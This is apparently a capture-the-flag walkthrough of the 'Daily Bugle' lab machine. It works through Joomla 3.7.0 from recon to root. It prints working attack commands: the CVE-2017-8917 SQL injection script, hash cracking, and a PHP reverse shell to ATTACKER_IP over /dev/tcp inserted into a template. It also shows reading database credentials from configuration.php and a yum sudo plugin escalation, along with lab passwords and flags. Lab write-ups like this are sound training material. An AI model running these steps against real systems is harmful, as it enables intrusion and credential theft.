Daily Bugle

Port Enumeration

A few different Nmap scans for tactical-approach recon. Starting with service and script enumeration:

nmap -sC -sV -Pn --script=http-enum 10.144.132.32

nmap scan with http-enum showing open ports and services

MariaDB version flagged early — DB language and version matter. Initial inventory:

Port 22 — SSH + OpenSSH 7.4
Port 80 — HTTP
Port 3306 — MySQL + MariaDB 10.3.23 or earlier

The more detailed vuln/CVE-focused scan surfaced something intriguing, especially given that Spiderman imagery (Sony Pictures) scattered across the target site:

nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.145.146.247 -oN daily_bugle_nmap_result.txt

The output is large. Here’s what caught my eye and inadvertently handed over the first flag:

nmap vuln scan output highlighting Joomla vulnerability and spider-man URL path

Vulnerability is clear. And at both the top and bottom of this output, I have vested interests.

The http-csrf findings also mapped out quite a few subdomains waiting to be crossed, sited, requested, and forged:

http-csrf subdomain list from nmap output

The bank robber is Spiderman. /index.php/2-uncategorised/1-spider-man-robs leaked directly in the first Nmap output.

Identifying the Joomla Version

Armed with initial recon, digging deeper with a targeted scan on the known open ports:

nmap -sCV -p22,80,3306 -T4 10.144.132.32

nmap -sCV targeted scan on ports 22, 80, 3306

Nmap kept pushing back, so a different angle:

whatweb http://10.146.132.82

whatweb confirming Joomla, Apache, PHP version, and JQuery

Beautiful. Updated picture:

Port 22: SSH + OpenSSH 7.4 (protocol 2.0)
Port 80: HTTP + Apache/2.4.6 (CentOS) PHP/5.6.40
Port 3306: MySQL + MariaDB 10.3.23 or earlier (flagged “unauthorized” — we’ll see about that)
JQuery + Joomla

What we already know about attack vectors and directory structure:

/index.php/2-uncategorised/1-spider-man-robs leaked in first Nmap scan
CSRF exists on /index.php
Possible credential-stuffing opportunity via MariaDB
PHP 5.6.40 is a vulnerability goldmine
Joomla CMS is ready for action

joomscan -u http://10.146.132.82

joomscan output part 1 showing directory structure and config

joomscan output part 2 confirming Joomla 3.7.0 and /administrator/ path

Attack path final form achieved:

Joomla 3.7.0 — exploitable via SQLi CVE-2017-8917
Admin panel lives at /administrator/

Exploit Research

searchsploit joomla 3.7.0

searchsploit results for joomla 3.7.0 showing CVE-2017-8917 SQLi exploit

A hit. Sometimes less is more.

searchsploit -x php/webapps/42033.txt

searchsploit -x showing exploit details for 42033.txt

The exploit details a sqlmap-based attack; the lab points toward Python. The dude abides.

searchsploit -m php/webapps/42033.txt

Looking for a Python version:

searchsploit joomla 3.7 | grep -i py

searchsploit joomla 3.7 grep for python returning no results

Nothing local. Research turns up a known community script:

curl -s https://raw.githubusercontent.com/XiphosResearch/exploits/master/Joomblah/joomblah.py -o joomblah.py

SQLi Credential Dump via joomblah.py

python3 joomblah.py http://10.146.132.82

joomblah.py first run with Python2/Python3 compatibility error

Results incoming, but a Python 2 vs. Python 3 compatibility bug gets in the way:

joomblah.py Python compatibility error detail

Fix and rerun:

sed -i 's/result += value/result += value.decode("utf-8")/' joomblah.py
python3 joomblah.py http://10.146.132.82

joomblah.py fixed output with Jonah's bcrypt hash extracted

From now until root, call me Jonah. Sorry, Jonah. You just got pwned.

Jonah’s hash: $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm
Hash type: bcrypt — identifiable by the $2y$ prefix

Hash Cracking

echo '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm' > jonah.hash
john jonah.hash --wordlist=/usr/share/wordlists/rockyou.txt

john cracking bcrypt hash to spiderman123

John delivers the credentials needed to access /administrator/:

Username: jonah
Password: spiderman123

Admin Panel Access

Hello, Joomla login page. Don’t mind me. I’m only here for a moment, then I’ll be out of your hair.

Joomla admin dashboard after successful login as jonah

We are in. Thanks, Jonah and John.

What we’re about to exploit is not exactly a vulnerability, but abuse of an intended Joomla admin feature: the template editor. It lets administrators edit raw PHP files that are then executed by the web server. I think you can see where that’s headed.

Head to Templates in the left panel of the dashboard:

Joomla admin dashboard with Templates circled in the left panel

Direct URL: http://TARGET_IP/administrator/index.php?option=com_templates

Joomla Templates: Styles page showing Prostar as active default template

Click Templates again in the left panel, then click into Prostar — the active default for all pages:

Joomla Templates: Templates page with Prostar listed

Direct URL: http://TARGET_IP/administrator/index.php?option=com_templates&view=template&id=506&file=aG9tZQ==

Prostar template editor with file list visible

Inside Prostar, a file list with a sickly Victorian index.php just begging for a reverse shell to make life whole again:

index.php circled in Prostar template file list

Reverse Shell via Template Editor

First, set up a netcat listener in a new terminal:

nc -lvnp 4444

Open index.php in the Joomla template editor and place this code above everything else (with your attacker IP swapped in):

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"); ?>

PHP reverse shell injected at top of index.php in Joomla template editor

This feels oddly reminiscent of editing MySpace source code. But I digress.

Click “Save” (green button, upper left). Then trigger the shell by visiting TARGET_IP directly in-browser.

netcat listener catching the reverse shell connection

Shell caught.

whoami
pwd

whoami and pwd confirming shell as apache user

We are Apache. Later days, Jonah.

Database Credentials from Configuration File

Search Joomla’s config file — a treasure trove of end-user vulnerabilities:

cat /var/www/html/configuration.php

configuration.php showing plaintext DB credentials: root / nv5uz9r3ZEDzVjNu

Big shout-out to Joomla for keeping it easy and breezy:

DB user: root
DB password: nv5uz9r3ZEDzVjNu
DB name: joomla

Lateral Movement: su jjameson

Still in the shell:

su jjameson

su jjameson failing in non-interactive shell with must be run from terminal error

Non-interactive shell throwing a tantrum over handling su. Upgrade it first:

python -c 'import pty; pty.spawn("/bin/bash")'

pty.spawn shell upgrade then su jjameson succeeding with DB password

Password reuse confirmed: nv5uz9r3ZEDzVjNu works for jjameson as well. I am not the mid-level almighty jameson!

cat ~/user.txt

User flag: 27a260fe3cba712cfdedb1c86d80442e

Privilege Escalation via yum

sudo -l

sudo -l showing jjameson can run /usr/bin/yum as root with no password

yum with no password. Delicious. Thanks to GTFOBins, with some echo modifications for this non-interactive shell:

TF=$(mktemp -d)
echo -e "[main]\nplugins=1\npluginpath=$TF\npluginconfpath=$TF" > $TF/x
echo -e "[main]\nenabled=1" > $TF/y.conf
echo -e "import os\nimport yum\nfrom yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE\nrequires_api_version='2.1'\ndef init_hook(conduit):\n  os.execl('/bin/sh','/bin/sh')" > $TF/y.py
sudo yum -c $TF/x --enableplugin=y

WOOOO!

root shell confirmed via yum plugin exploit

Confirmed WOOOO!!!

cat /root/root.txt

Root flag: eec3d53292b1821868266858d7fa6f79

final confirmation of rooted Daily Bugle machine

Full Attack Chain

Nmap + WhatWeb → Joomla 3.7.0 identified, spider-man URL path (bank robber = Spiderman)
→ JoomScan → admin panel at /administrator/, confirmed Joomla 3.7.0
→ CVE-2017-8917 → joomblah.py (Python3 fix applied) → Jonah’s bcrypt hash
→ John the Ripper → spiderman123
→ Admin panel login → template editor → PHP reverse shell in index.php
→ Shell as apache → configuration.php → DB credentials (root / nv5uz9r3ZEDzVjNu)
→ Password reuse → su jjameson
→ sudo -l → yum NOPASSWD → GTFOBins yum plugin exploit → root